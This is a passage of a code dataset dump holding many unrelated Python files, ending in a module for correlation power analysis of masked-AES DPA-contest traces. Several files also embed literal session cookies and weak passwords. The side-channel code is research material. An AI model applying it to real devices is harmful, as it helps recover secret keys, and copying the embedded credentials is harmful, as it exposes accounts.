conn, addr = tcp_soc.accept()\n threading.Thread(target = ejecucion , args = (conn,addr)).start()","sub_path":"py/streaming/Servidor.py","file_name":"Servidor.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"94880479","text":"import requests\nimport re\nfrom lxml import etree\nimport pymysql\nimport time\nimport random\n\n\ndef get(num):\n conn = pymysql.connect(\n host=\"localhost\",\n port=3306,\n user=\"root\",\n password=\"123456\",\n database=\"goods\",\n charset=\"utf8\",\n )\n cursor = conn.cursor()\n url = \"https://www.douban.com/j/search?q=%E6%AD%A6%E6%B1%89%E7%96%AB%E6%83%85&start={}&cat=1015\".format(num, )\n headers = {\n # \"Accept\": \"*/*\",\n # \"Accept-Encoding\": \"gzip, deflate, br\",\n # \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": 'll=\"108303\"; bid=M9CeQSjSR6I; _pk_ref.100001.8cb4=%5B%22%22%2C%22%22%2C1581488284%2C%22http%3A%2F%2Fwww.hao123.com%2Flink%2Fv3%2F%3Fkey%3DpZwYTjCEQLILIz4bULNBmy38mvqVQs%253D%253D%26pageid%3Dhao123-pcbdhz-luntan%26monkey%3Dm-pcbdhz-luntan%26title%3Ddouban%22%5D; _pk_ses.100001.8cb4=*; __utma=30149280.1607514387.1581488287.1581488287.1581488287.1; __utmc=30149280; __utmz=30149280.1581488287.1.1.utmcsr=hao123.com|utmccn=(referral)|utmcmd=referral|utmcct=/link/v3/; __utmt=1; ap_v=0,6.0; __yadk_uid=vLROJmrXbOZlqmmFTZdggeoyXMdoeDxK; _pk_id.100001.8cb4=9dee131374cd9a6c.1581488284.1.1581488862.1581488284.; __utmb=30149280.4.10.1581488287',\n \"Host\": \"www.douban.com\",\n # \"Referer\": \"https://www.douban.com/search?q=%E6%AD%A6%E6%B1%89%E7%96%AB%E6%83%85\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"same-origin\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\",\n \"X-Requested-With\": \"XMLHttpRequest\"\n }\n headers1 = {\n # \"Accept\": \"*/*\",\n # \"Accept-Encoding\": \"gzip, deflate, br\",\n # \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": 'll=\"108303\"; bid=M9CeQSjSR6I; _pk_ref.100001.8cb4=%5B%22%22%2C%22%22%2C1581488284%2C%22http%3A%2F%2Fwww.hao123.com%2Flink%2Fv3%2F%3Fkey%3DpZwYTjCEQLILIz4bULNBmy38mvqVQs%253D%253D%26pageid%3Dhao123-pcbdhz-luntan%26monkey%3Dm-pcbdhz-luntan%26title%3Ddouban%22%5D; _pk_ses.100001.8cb4=*; __utma=30149280.1607514387.1581488287.1581488287.1581488287.1; __utmc=30149280; __utmz=30149280.1581488287.1.1.utmcsr=hao123.com|utmccn=(referral)|utmcmd=referral|utmcct=/link/v3/; ap_v=0,6.0; __yadk_uid=vLROJmrXbOZlqmmFTZdggeoyXMdoeDxK; douban-fav-remind=1; __gads=ID=24e0f4a48ca7aaf8:T=1581490424:S=ALNI_MYusyIrTo7dnv9YXTOuayFqtSmL9w; regpop=1; __utmt=1; _pk_id.100001.8cb4=9dee131374cd9a6c.1581488284.1.1581489752.1581488284.; __utmb=30149280.9.10.1581488287',\n \"Host\": \"www.douban.com\",\n # \"Referer\": \"https://www.douban.com/search?q=%E6%AD%A6%E6%B1%89%E7%96%AB%E6%83%85\",\n \"Sec-Fetch-Mode\": \"navigate\",\n \"Sec-Fetch-Site\": \"none\",\n \"Sec-Fetch-User\": \"?1\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\",\n }\n response = requests.get(url, headers=headers).content.decode()\n # print(response)\n a_urls = re.findall(r'sid: (.*?),', response)\n for a in a_urls:\n a_url = \"https://www.douban.com/note/\" + a\n print(a_url)\n response1 = requests.get(a_url, headers=headers1).text\n html1 = etree.HTML(response1)\n title = html1.xpath(\"//div[@class='note-header note-header-container']/h1/text()\")[0].strip()\n content = \"\"\n ps = html1.xpath(\"//div[@class='note']/p\")\n for p in ps:\n t = \"\".join(p.xpath(\".//text()\")).strip()\n content = content + \"\\n\" + t\n if len(content) > 0:\n print(title)\n content = content.strip()\n source = \"豆瓣\"\n word = \"武汉疫情\"\n try:\n sql = \"insert into xinwen(title, content, source, word, url) values(%s, %s, %s, %s, %s)\"\n cursor.execute(sql, (title, content, source, word, a_url))\n conn.commit()\n except Exception as e:\n print(e)\n\n\nif __name__ == \"__main__\":\n for i in range(5, 1000, 20):\n print(\"当前为第%s页\" % (i, ))\n time.sleep(random.uniform(1, 3))\n get(i)","sub_path":"02/0212/豆瓣.py","file_name":"豆瓣.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"39222698","text":"# Copyright (c) 2021, Manfred Moitzi\n# License: MIT License\n\nimport pathlib\nimport ezdxf\nfrom ezdxf import disassemble, zoom\nfrom ezdxf.tools import fonts\n\nDIR = pathlib.Path(\"~/Desktop/Outbox\").expanduser()\nfonts.load()\n\nFILES = [\n \"text_fonts.dxf\",\n \"text_oblique_rotate.dxf\",\n \"text_mirror_true_type_font.dxf\",\n \"text_stacked_shx_font.dxf\",\n]\nfor filename in FILES:\n print(f\"Processing: {filename}\")\n doc = ezdxf.readfile(\n pathlib.Path(__file__).parent.parent / \"examples_dxf\" / filename\n )\n msp = doc.modelspace()\n\n # required to switch layer on/off\n doc.layers.add(\"TEXT_FRAME\", color=6)\n for frame in disassemble.to_primitives(msp.query(\"TEXT\")):\n msp.add_lwpolyline(\n frame.vertices(), close=True, dxfattribs={\"layer\": \"TEXT_FRAME\"}\n )\n\n zoom.extents(msp, factor=1.1)\n doc.saveas(DIR / filename)\n","sub_path":"examples/draw_text_frames.py","file_name":"draw_text_frames.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"337972898","text":"import math\r\n\r\n\r\nbudget = float(input())\r\nhouse_area = float(input())\r\nwindows_count = int(input())\r\narea_styrofoam_in_package = float(input())\r\nprice_styrofoam_package = float(input())\r\n\r\n\r\nwindows_area = windows_count * 2.4\r\nhouse_area1 = house_area - windows_area\r\nfira = house_area1 * 0.10\r\ntotal_house_area = house_area1 + fira\r\n\r\nhow_much_packages = math.ceil(total_house_area / area_styrofoam_in_package)\r\n\r\ncost_packages = how_much_packages * price_styrofoam_package\r\n\r\ndiff = abs(budget - cost_packages)\r\n\r\n\r\nif budget>= cost_packages:\r\n print(\"Spent: %.2f\"%cost_packages)\r\n print(\"Left: %.2f\"%diff)\r\nelse:\r\n print(\"Need more: %.2f\"%diff)\r\n","sub_path":"Programming_Basic/PycharmProjects/EXAM_PREPARATION/Styrofoam.py","file_name":"Styrofoam.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"600470965","text":"import cv2\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib import cm\nimport pytesseract\n\n\nclass cl:\n def detect(img, cor1, cor2):\n '''im2 = Image.new('RGB',(280,280),(255,255,255))\n im2.save('img.png')\n im = cv2.imread('img.png')\n im2 =cv2.imread('img.png')\n i=0\n while(i<279):\n j=0\n while(j<279):\n im[i][j] = cor1\n im2[i][j]=cor2\n j+=1\n i+=1\n cv2.imwrite(\"imgfg.png\",im2)\n cv2.imwrite(\"img.png\",img)'''\n kernel = np.ones((5, 5), np.uint8)\n cord = []\n rangomax = np.array([int(cor1[2]), int(cor1[1]), int(cor1[0])])\n rangomin = np.array([int(cor2[2]), int(cor2[1]), int(cor2[0])])\n mask = cv2.inRange(img, rangomin, rangomax)\n opening = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n cord = cv2.boundingRect(opening)\n x, y, w, h = cv2.boundingRect(opening)\n cv2.imshow(\"cor\", mask)\n return mask\n\n '''def convert2hsv(rgb):\n hsv=colorsys.rgb_to_hsv(rgb[0],rgb[1],rgb[2])\n return hsv\n\n def convert2rgb(hsv):\n rgb = colorsys.hsv_to_rgb(hsv[0],hsv[1],hsv[2])\n return rgb'''\n\n def equaliza(img):\n # equaliza imagens nos canais R,G,B\n b, g, r = cv2.split(img)\n red = cv2.equalizeHist(r)\n green = cv2.equalizeHist(g)\n blue = cv2.equalizeHist(b)\n blue = b\n return cv2.merge((blue, green, red))\n\n def readText(img):\n #pytesseract.pytesseract.tesseract_cmd = ( r\"C:\\Program Files (x86)\\Tesseract\")\n im = Image.fromarray(img)\n phrase = pytesseract.image_to_string((im), lang=\"eng\")\n return phrase\n","sub_path":"src/detect_color.py","file_name":"detect_color.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"328317384","text":"# -*- coding: utf-8 -*-\nimport operator\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.db.models import Count, Sum, F, Q\nfrom .models import Suggestions\nfrom councilors.models import CouncilorsDetail\n\n\ndef report(request):\n councilors= CouncilorsDetail.objects.filter(election_year__in=['2009', '2010'], county__in=[u'臺北市', u'高雄市', u'新竹市'])\n councilors = councilors.annotate(sum=Sum('suggestions__suggestion__approved_expense'), count=Count('suggestions__id'))\\\n .order_by('-sum')\n parties = councilors.values('party')\\\n .annotate(sum=Sum('suggestions__suggestion__approved_expense'), count=Count('suggestions__id'))\\\n .order_by('-sum')\n counties = Suggestions.objects.all()\\\n .values('county')\\\n .annotate(sum=Sum('approved_expense'), count=Count('uid'))\\\n .order_by('county')\n return render(request,'suggestions/report.html', {'councilors': councilors, 'parties': list(parties), 'counties': list(counties)})\n\ndef bid_by(request, bid_by):\n councilors= CouncilorsDetail.objects.filter(suggestions__suggestion__bid_by=bid_by)\n parties = councilors.values('party')\\\n .annotate(sum=Sum('suggestions__suggestion__approved_expense'), count=Count('suggestions__suggestion'))\\\n .order_by('-sum')\n councilors = councilors.values('councilor_id', 'name', 'party', 'election_year')\\\n .annotate(sum=Sum('suggestions__suggestion__approved_expense'), count=Count('suggestions__suggestion'))\\\n .order_by('-sum')\n return render(request,'suggestions/bid_by.html', {'bid_by': bid_by, 'parties': list(parties), 'councilors': list(councilors)})\n","sub_path":"voter_guide/suggestions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"381706843","text":"import json\nimport requests\nimport sys\n\nauth = ('guest', 'guest')\nurl = 'http://localhost:15672/api/queues'\n\ntry:\n r = requests.get(url, auth=auth)\nexcept:\n print (\"target unavailable: {}\".format(url))\n sys.exit()\n\nqueues_info = json.loads(r.text)\n\nfor queue in queues_info:\n print(\"queue: {}\".format(queue.get('name', 'unavailable')))\n print(\"state: {}\".format(queue.get('state', 'unavailable')))\n print(\"consumers: {}\".format(queue.get('consumers', 'unavailable')))\n\n if \"message_stats\" not in queue:\n print (\"no message_status\\n\")\n continue\n\n stats = queue[\"message_stats\"]\n print(\"messages: [ack: {}, deliver: {}, publish: {}]\".format(stats.get('ack'), stats.get('deliver'), stats.get('publish')))\n print()","sub_path":"backend/dataAccess/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"213106152","text":"def main():\r\n #Get number from user.\r\n number = int(input('Enter a nonnegative interger: '))\r\n\r\n #Get factorial of number\r\n fact = factorial(number)\r\n\r\n print('The factorial of', number, 'is', fact)\r\n\r\n#Calculate the factorial of its argument\r\ndef factorial(num):\r\n if num == 0:\r\n return 1\r\n else:\r\n return num * factorial(num - 1)\r\n\r\nmain()\r\n","sub_path":"Chap 12/factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"324621497","text":"import sys\nimport logging\n\nfrom google.appengine.ext import ndb\nfrom webapp2 import import_string\n\nif 'lib' not in sys.path: # Add /lib as primary libraries directory\n sys.path[0:0] = ['lib', ]\n\n#from gae_mini_profiler import profiler\nfrom o3.app import Oxygen\nfrom config import config\n\ndef get_rules():\n rules = []\n for app_module in config[\"oxygen\"][\"apps_installed\"]:\n try: \n rules.extend(import_string('%s.urls.rules' % app_module))\n except ImportError: \n pass\n return rules\n\ndef get_configs():\n for app_module in config[\"oxygen\"][\"apps_installed\"]:\n try: \n app_config = import_string('%s.config.config' % app_module)\n for key, val in app_config.items():\n if config.has_key(key):\n config[key] = dict(config[key].items() + app_config[key].items())\n else:\n config.setdefault(key, val)\n except ImportError: \n pass\n return config\n\n\ndef handle_404(request, response, exception):\n logging.exception(exception)\n response.write(\"Oops! I could swear this page was here!\")\n response.set_status(404)\n\ndef handle_500(request, response, exception):\n logging.exception(exception)\n response.write(\"A server error occurred!\")\n response.set_status(500)\n\n\n#app = Oxygen(routes=get_rules(), config=get_configs(), debug=True)\n\nmyConfig = get_configs()\noxygen_app = Oxygen(routes=get_rules(), config=myConfig, debug=True)\n\noxygen_app.error_handlers[404] = handle_404\noxygen_app.error_handlers[500] = handle_500\n\napp = ndb.toplevel(oxygen_app)\n\n#app = profiler.ProfilerWSGIMiddleware(app)\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"408223167","text":"# main.py -- put your code here!\nfrom pyb import UART\nimport network\nimport socket\n\nif __name__ == \"__main__\":\n nic = network.CC3K(pyb.SPI(2), pyb.Pin.board.Y5, pyb.Pin.board.Y4, pyb.Pin.board.Y3)\n nic.connect('Joi', 'deadbeef')\n while not nic.isconnected():\n pyb.delay(50)\n print(nic.ifconfig())\n\n uart = UART(1, 9600)\n addr = ('192.168.1.242', 9999)\n while True:\n s = socket.socket()\n s.connect(addr)\n s.send(b\"Hello\\r\\n\")\n while True:\n try:\n incoming = \"\" \n incoming = s.recv(1024)\n uart.write(\"%s\\r\"%incoming.decode().strip())\n while uart.any():\n serialdata = uart.readline()\n s.send(\"%s\\n\"%serialdata.decode().strip())\n except:\n print(\"error\")\n break\n s.close()\n\n","sub_path":"microPython/connectToNetwork.py","file_name":"connectToNetwork.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"313319226","text":"from pylearn2.train_extensions import TrainExtension\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport math\nimport os\n\nimport pylearn2.utils.serial\n\n\nclass RecordWeights(TrainExtension):\n\n def __init__(self, save_path, skip_num=1):\n self.save_path = save_path\n self.skip_num = skip_num\n\n if not os.path.exists(self.save_path):\n os.mkdir(self.save_path)\n\n self.current_weight_file_number = 0\n self.current_iteration = 0\n\n def on_monitor(self, model, dataset, algorithm):\n if self.current_iteration % self.skip_num == 0:\n self.plot(model)\n\n self.current_iteration += 1\n\n def plot(self, model):\n\n #get the current weights from the model\n weights = model.get_weights_topo()\n\n num_weights = weights.shape[0]\n num_channels = weights.shape[-1]\n\n #we are going to plot every channel for each kernel\n num_plots = num_weights*num_channels\n\n #set up the dimensions of the figure\n w = math.ceil(math.sqrt(num_plots))\n h = w\n \n subplot_count = 1\n plt.figure()\n for i in range(num_weights):\n for j in range(num_channels):\n # add a new subplot for each kernel\n sub = plt.subplot(h, w, subplot_count)\n #remove the axis so it looks prettier\n sub.axes.get_xaxis().set_visible(False)\n sub.axes.get_yaxis().set_visible(False)\n #make it greyscale\n plt.imshow(weights[i, :, :, j], cmap=cm.Greys_r)\n subplot_count += 1\n\n plt.savefig(self.save_path + 'weight_' + str(self.current_weight_file_number) + '.png')\n\n #must close this or else plt leaks\n plt.close()\n\n self.current_weight_file_number += 1\n\n\nclass RecordCurrentModel(TrainExtension):\n\n def __init__(self, save_path):\n self.save_path = save_path\n self.save_count = 0\n\n def on_monitor(self, model, dataset, algorithm):\n if self.save_count % 10 == 0:\n pylearn2.utils.serial.save(self.save_path, model, on_overwrite='backup')\n self.save_count += 1\n\n","sub_path":"train_extensions.py","file_name":"train_extensions.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"83466445","text":"import sys\nimport json\nimport tweepy\nimport time\n\n\"\"\"\nShort script for getting a list of friends who are not following you. In other\nwords, users who you follow but do not follow you back. Results are printed as:\n\n[user id] [screen name]\n\nSimply run this script by passing the key of the account as the first argument.\nIf there is no keys.json file, you can simply write the keys and secrets\ndirectly into this script.\n\nWARNING: Calls to GET users/lookup are rate limited to 180 requests in a 15\nminute interval. This script will sleep for 15 minutes if it hits 180 requests\nin order to respect the API limit.\n\"\"\"\n\nkey = sys.argv[1] # Assigned to command line argument\n\nwith open('../keys.json') as key_data:\n key_dict = json.load(key_data)\n \n consumer_key = key_dict['app']['consumer_key']\n consumer_secret = key_dict['app']['consumer_secret']\n \n screen_name = key_dict[key]['screen_name']\n access_token = key_dict[key]['access_token']\n access_token_secret = key_dict[key]['access_token_secret']\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\nauth.secure = True\n\napi = tweepy.API(auth)\n\n\ndef main():\n print(screen_name)\n myself = api.get_user(screen_name)\n \n # Grab list of users that the account is following\n friends = []\n for page in tweepy.Cursor(api.friends_ids).pages():\n friends.extend(page)\n \n if len(friends) > 5000:\n time.sleep(60)\n \n # Grab list of users who follow the account\n followers = []\n for page in tweepy.Cursor(api.followers_ids).pages():\n followers.extend(page)\n \n if len(followers) > 5000:\n time.sleep(60)\n \n print(\"Following {} users.\".format(len(friends)))\n \n not_following = list()\n \n # Check relationship status for each user and add them to a list if they are not following\n for follower in followers:\n if follower not in friends:\n user = api.get_user(follower)\n\t\t\t\n if user.protected is False:\n not_following.append(user)\n if len(not_following) >= 180:\n time.sleep(900)\n \n print(\"\")\n print(\"Followers who you do not follow ({0}):\".format(screen_name))\n for friend in not_following:\n print(\"{} {}\".format(friend.id, friend.screen_name))\n \n print(\"\")\n print(\"Done.\")\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"utils/friends.py","file_name":"friends.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"356450","text":"import pkgutil\nfrom board import ROWS, COLS, BOXES\n\ndef get_strategies():\n \"\"\"\n Gets a list of all available strategies\n\n Returns:\n A list of methods, each representing a strategy from the strategies module\n \"\"\"\n strategy_names = [name for _, name, _ in pkgutil.iter_modules(['strategies'])]\n\n strategy_methods = []\n\n for strategy in strategy_names:\n module_name = \"strategies.\" + strategy\n module = __import__(module_name, fromlist=[''])\n method = getattr(module, strategy)\n strategy_methods.append(method)\n\n return strategy_methods\n\ndef convert_grid_string_to_dict(grid):\n \"\"\"\n Convert grid into a dict of {square: char} with '123456789' for empties.\n\n Args:\n grid(string) - A grid in string form.\n\n Returns:\n A grid in dictionary form\n Keys: The boxes, e.g., 'A1'\n Values: The value in each box, e.g., '8'. If the box has no value, then the value will be '123456789'.\n \"\"\"\n assert len(grid) == 81, \"Input grid must be a string of length 81 (9x9)\"\n\n grid_list = [x if x != '.' else '123456789' for x in grid]\n\n return dict(zip(BOXES, grid_list))\n\ndef display(values):\n \"\"\"\n Display the values as a 2-D grid.\n \n Args:\n values(dict): The sudoku in dictionary form\n \"\"\"\n width = 1 + max(len(values[s]) for s in BOXES)\n line = ' | ' + '+'.join(['-' * (width * 3)] * 3)\n print(' ' + ''.join(col.center(width) + ('|' if col in '36' else '') for col in COLS))\n print(line)\n for row in ROWS:\n print(row + ' | ' + ''.join(values[row + col].center(width) + ('|' if col in '36' else '') for col in COLS))\n if row in 'CF':\n print(line)\n return","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"182875844","text":"from __future__ import division, print_function\n\nimport builtins # pip install future\nimport _pickle as cPickle\nimport csv\nimport math\nimport os\nimport random\nimport time\nfrom builtins import dict, object, range\nfrom io import open\n\nimport future # pip install future\nimport numpy\nimport six # pip install six\nfrom itertools import groupby\n\nfrom numpy import linalg as LA\n\nfrom scipy.interpolate import interp1d\nfrom scipy.stats.stats import pearsonr\nfrom scipy.stats import entropy\nfrom sklearn.metrics import normalized_mutual_info_score as NMI\nfrom six import iteritems, with_metaclass\nfrom sklearn.decomposition import PCA, KernelPCA\nfrom matplotlib.mlab import PCA as mPCA\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis as LDA\nfrom sklearn.svm import SVC\n\n\nimport aes\nimport ta\nimport traceparser_3 as tp\n\n__author__ = \"Benny Pu, push.beni@gmail.com\"\n__docformat__ = 'restructedtext en'\n\n\n\n\ndef average(x):\n assert len(x) > 0\n return float(sum(x)) / len(x)\n\n\ndef pearson_def(x, y):\n assert len(x) == len(y)\n n = len(x)\n assert n > 0\n avg_x = average(x)\n avg_y = average(y)\n diffprod = 0\n xdiff2 = 0\n ydiff2 = 0\n for idx in range(n):\n xdiff = x[idx] - avg_x\n ydiff = y[idx] - avg_y\n diffprod += xdiff * ydiff\n xdiff2 += xdiff * xdiff\n ydiff2 += ydiff * ydiff\n\n return diffprod / math.sqrt(xdiff2 * ydiff2)\n\ndef standardize(datIn):\n datOut = numpy.zeros(datIn.shape, dtype='float64')\n datMean = numpy.mean(datIn, 0)\n datStd = numpy.std(datIn, 0)\n for i in list(range(datOut.shape[0])):\n datOut[i] = numpy.divide(datIn[i] - datMean, datStd)\n return datOut\n\ndef sum_chunk(x, chunk_size, axis=-1):\n if axis < 0:\n axis += x.ndim\n shape = x.shape\n shape = shape[:axis] + (-1, chunk_size) + shape[axis + 1:]\n #print(shape)\n x = x.reshape(shape)\n return x.sum(axis=axis + 1)\n\ndef moving_ave(x, window=1):\n chunk_lim = x.shape[1] % window\n chunk_lim = x.shape[1] - window\n x_ = sum_chunk(x[:, :chunk_lim], window) / window\n return numpy.hstack((x_,x[:, chunk_lim:]))\n\n\ndef save_pickle(obj, filepath):\n with open(filepath, 'wb') as filobj:\n cPickle.dump(obj, filobj)\n\n\ndef load_pickle(filepath):\n with open(filepath, 'rb') as filobj:\n return cPickle.load(filobj)\n\nclass ClassProperty(type):\n\n @property\n def tracefile(self):\n return self._tracefile\n\n @property\n def indexfile(self):\n return self._indexfile\n\n\nclass FilePath(object):\n\n def __init__(self, **kwargs):\n self._tracefile = u'D:/works/aes-rsm/DPA_contestv4_rsm_00000/DPA_contestv4_rsm/00000'\n self._indexfile = u'D:/works/aes-rsm'\n\n self._corrfileL = None\n self._corrfileS = u'D:/GoogleDrive/Workspaces/dats/pear_sout_1st.pkl'\n\n self._featfileL = None\n self._featfileS = u'featfile.pkl'\n\n self._reducefileL = None\n self._reducefileS = u'reducefile.pkl'\n\n self._trspath = u'D:/GoogleDrive/Workspaces/trs/av+st+pca.trs'\n self._trskey = u'D:/GoogleDrive/Workspaces/trs/trskey.txt'\n # self._trskey = u'/Users/pushbeni/Downloads/trskey.txt'\n\n self._lenth = 8\n\n if kwargs is not None:\n for (key, val) in iteritems(kwargs):\n attr = getattr(self, u\"_%s\" % key, None)\n if attr is None:\n setattr(self, attr, val)\n self._lenth += 1\n else:\n attr = val\n\n def __getitem__(self, file):\n return getattr(self, u\"_%s\" % file, None)\n\n def __setitem__(self, file, path):\n setattr(self, u\"_%s\" % file, path)\n self._lenth += 1\n\n def __delitem__(self, file):\n attr = getattr(self, u\"_%s\" % file, None)\n if attr is not None:\n del attr\n self._lenth -= 1\n else:\n print(\"No filepath \" + file + \" found. \")\n\n def __len__(self):\n return self._lenth\n\n\ndef readBinary(start, end, pathObj, shift=0, factor=1, poi_list=None, points=435002):\n \"\"\"\n *.trc files\n \"\"\"\n assert pathObj is not None\n\n start_time = time.time()\n\n cols = len(poi_list) if poi_list is not None else points\n orig = end - start\n rows = orig * factor\n retdat = numpy.zeros((rows, cols), dtype='int')\n\n print(\"... reading from binary files.\\n\")\n for i in list(range(orig)):\n rawdat = numpy.fromfile(pathObj[u'tracefile'] + '/Z1Trace' + format(start + i, '05d') + '.trc',\n dtype='int8',\n count=-1)[357:]\n\n retdat[i] = rawdat[poi_list] if poi_list is not None else rawdat\n #####################\n # data augmentation #\n #####################\n for i in list(range(orig, rows)):\n shiftlist = list(range(2 * shift))\n offset = shiftlist[i % len(shiftlist)]\n offset = offset + 1 if offset < shift else offset - len(shiftlist)\n # offset = numpy.random.randint(-shift, shift+1)\n _tem = numpy.roll(retdat[i % orig], offset)\n retdat[i] = 0.5 * (_tem + retdat[i % orig])\n\n end_time = time.time()\n print(\"time using: \")\n print(end_time - start_time)\n return retdat\n\n\ndef readIndex(start, end, pathObj):\n with open(pathObj[u'indexfile'] + '/index.txt') as f:\n datlist = f.readlines()\n index_arr = numpy.zeros((len(datlist), 6), dtype='|S64')\n for i in list(range(len(datlist))):\n index_arr[i] = numpy.asarray(datlist[i].split())\n return index_arr[start:end]\n\n\ndef readTrace(start, end, pathObj, shift=0, factor=1, poi_s=0, cnt=None):\n \"\"\"\n *.trs files\n Get the traces indexed and the crpto data\n \"\"\"\n start_time = time.time()\n\n traceset = tp.Trace(pathObj[u'trspath'])\n traceset.parseTraceHeader()\n\n with open(pathObj[u'trskey']) as f:\n cipherkey = f.readlines()[0]\n\n if cnt is not None:\n poi_cnt = cnt\n else:\n poi_cnt = traceset.pointCount\n\n orig = end - start\n rows = int(round(orig * factor))\n rawdat = numpy.zeros((rows, poi_cnt), dtype='float')\n index_arr = numpy.zeros((orig, 3), dtype='|S64')\n\n print(\"... reading from the traceset file.\\n\")\n for i in list(range(orig)):\n _temp = traceset.getTrace(i + start)\n index_arr[i] = numpy.asarray((cipherkey, _temp[1], _temp[2])) # key, plaintext, ciphertext, other info\n rawdat[i] = numpy.asarray(_temp[3][poi_s:poi_s + poi_cnt])\n\n for i in list(range(orig, rows)):\n# shiftlist = list(range(2 * shift))\n# offset = shiftlist[i % len(shiftlist)]\n# offset = offset + 1 if offset < shift else offset - len(shiftlist)\n offset = numpy.random.randint(-shift, shift + 1)\n _tem = numpy.roll(rawdat[i % orig], offset)\n rawdat[i] = 0.5 * (_tem + rawdat[i % orig])\n\n\n end_time = time.time()\n print(\"time using: \")\n print(end_time - start_time)\n return rawdat, index_arr\n\n\ndef getMedVecs(lis, offsetlist, factor=1):\n soutvec = numpy.zeros(int(round((len(lis) * factor))), dtype='int')\n aesModel = aes.AES()\n medians = [aesModel.getSBoxValue(int(lis[i, 1][:2], 16) ^ int(lis[i, 0][:2], 16)) for i in list(range(len(lis)))] # plaintext, key\n mask = [0x00, 0x0f, 0x36, 0x39, 0x53, 0x5c, 0x65, 0x6a, 0x95, 0x9a, 0xa3, 0xac, 0xc6, 0xc9, 0xf0, 0xff]\n if offsetlist is not None:\n for i in list(range(soutvec.shape[0])):\n soutvec[i] = bin(medians[i % len(medians)] ^ mask[(offsetlist[i] + 1) % 16]).count('1')\n #soutvec[i] = medians[i % len(medians)] ^ mask[(offsetlist[i] + 1) % 16]\n else:\n for i in list(range(soutvec.shape[0])):\n soutvec[i] = medians[i % len(medians)]\n\n return soutvec\n\ndef getPOI(dat, lis, dim, pathObj, consecutive=False):\n print(dat.shape, lis.shape)\n if consecutive is True:\n featlist = numpy.asarray(list(range(101281, 101651)))\n else:\n if pathObj[u'featfileL'] is not None:\n featlist = load_pickle(pathObj[u'featfileL'])[:dim]\n else:\n print('... feature extracting')\n res = numpy.zeros(dat.shape[1], dtype='float32')\n for i in list(range(dat.shape[1])):\n res[i] = abs(pearsonr(dat[:, i], lis)[0])\n plt.plot(res)\n plt.show()\n featlist = numpy.argpartition(res, -dim)[-dim:]\n featlist = featlist[numpy.argsort(res[featlist])]\n save_pickle(featlist, pathObj[u'featfileS'])\n print('feat list: \\n', featlist)\n return featlist\n\ndef readBinaryDat(start, end, pathObj, shift=0, factor=1, poi_list=None, soft=True):\n _factor = 1 if shift == 0 else factor\n if soft is True:\n dat = readBinary(start, end, pathObj, shift, _factor, poi_list)\n datidx = readIndex(start, end, pathObj)\n offsetlist = [int(datidx[i % len(datidx), 3], 16)\n for i in list(range(len(datidx) * _factor))]\n plaints = [int(datidx[i % len(datidx), 1][:2], 16)\n for i in list(range(len(datidx) * _factor))]\n medvec = getMedVecs(datidx, offsetlist, _factor)\n return dat, medvec, numpy.asarray(plaints), numpy.asarray(offsetlist)\n else:\n dat, info = readTrace(start, end, pathObj, shift, _factor, poi_list[0], len(poi_list))\n medvec = getMedVecs(info, None, _factor)\n plaints = [int(info[i % len(info), 1][:2], 16)\n for i in list(range(len(info) * _factor))]\n return dat, medvec, numpy.asarray(plaints), None\n\ndef plaintsCiphers(start, end, pathObj):\n dat, info = readTrace(start, end, pathObj)\n\n plaintsAll = numpy.zeros((len(info),32))\n for i in list(range(len(info))):\n plaintsAll[i] = numpy.asarray([int(info[i % len(info), 1][j], 16)\n for j in list(range(32))])\n ciphers = [int(info[i % len(info), 2][2:4], 16)\n for i in 